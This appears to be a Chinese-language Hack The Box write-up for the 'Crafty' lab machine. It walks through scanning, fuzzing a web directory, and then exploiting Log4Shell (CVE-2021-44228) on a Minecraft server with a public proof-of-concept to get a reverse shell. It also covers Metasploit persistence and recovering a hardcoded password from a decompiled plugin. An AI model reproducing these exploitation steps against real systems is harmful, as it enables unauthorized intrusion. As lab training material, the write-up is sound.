扫描靶机
nmap -sC -sV -T4 -Pn 10.10.11.249
就只有一个80端口,扫出了一个域名http://crafty.htb,加到hosts里面,然后打开
出现了类似于《我的世界》的游戏界面,盲猜这是跟mc有关的,扫一下目录
就只几个文件夹,其中有个js文件夹,进去后是现实403限制
使用gobuster对其进行fuzz文件
gobuster dir -u http://crafty.htb/js/ -w raft-medium-directories.txt -x js -t 50
fuzz出了一个main.js文件,打开看看
其中下面这段代码引人瞩目
这段代码主要功能是获取和显示一个游戏服务器上的在线玩家数量。大概指的是mc服务器,它通过定期查询一个外部API来实现这一点,里面运用了**updatePlayercount
函数,**先是向https://api.bybilly.uk/api/players/${ip}/${port}
发送一个GET请求,查询指定IP和端口的游戏服务器的在线玩家数量,如果返回的是online,则显示在.sip里面,如果不返回online,说明断线了,然后会在.playercount
中显示相应的信息,并使用setInterval
设置一个定时器,每60秒调用一次updatePlayercount
函数以定期更新玩家数量,里面的是25565端口值得是mc的默认端口,这次利用log4j的poc来反弹shell,这次利用的是CVE-2021-44228编号的poc(也称为Log4Shell漏洞)
https://github.com/kozmer/log4j-shell-poc
但是首先下载对应的jdk才行
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
注意的是下载后将文件夹名称改为jdk1.8.0_20,不然poc.py无法加载,然后修改poc.py里面的格式
将cmd那里改成cmd.exe,因为目标是win系统,然后直接运行该命令
python3 poc.py --userip 10.10.14.75 --webport 8081 --lport 8080
然后他会生成一条ldap的地址,下一步自己打开nc准备反弹,然后使用mc连接工具
https://github.com/ammaraskar/pyCraft
成功连接后将生成的ldap地址发到底下
log4j那里会出现一天200返回信息,nc就会成功反弹shell
成功拿到shell,直接做一个exe,使用msf会话好一点,持久性
回到shell,nc直接反弹的地址是c:Userssvc_minecraftserver,通过寻找在plugins文件夹,底下有个playercounter-1.0-SNAPSHOT.jar文件
将它下载下来,因为用的是msf,直接下载,如果出现了超时延迟,可以使用该命令
sessions --interact 2 --timeout 10000
该命令的意思是会话2的延迟提高的10000毫秒,直接download命令下载
下载完成后,使用jd-gui工具(Java Decompiler GUI))打开或者直接unzip解压,得到一些文件
在/htb/crafty/playercounter里面的Playercounter.class文件,打开后可以得到一个密码s67u84zKq8IXw,可以通过RunAscS工具提取安,msf里面有该模块
成功拿到root跟user flag
原文始发于微信公众号(Jiyou too beautiful):HTB-Crafty笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论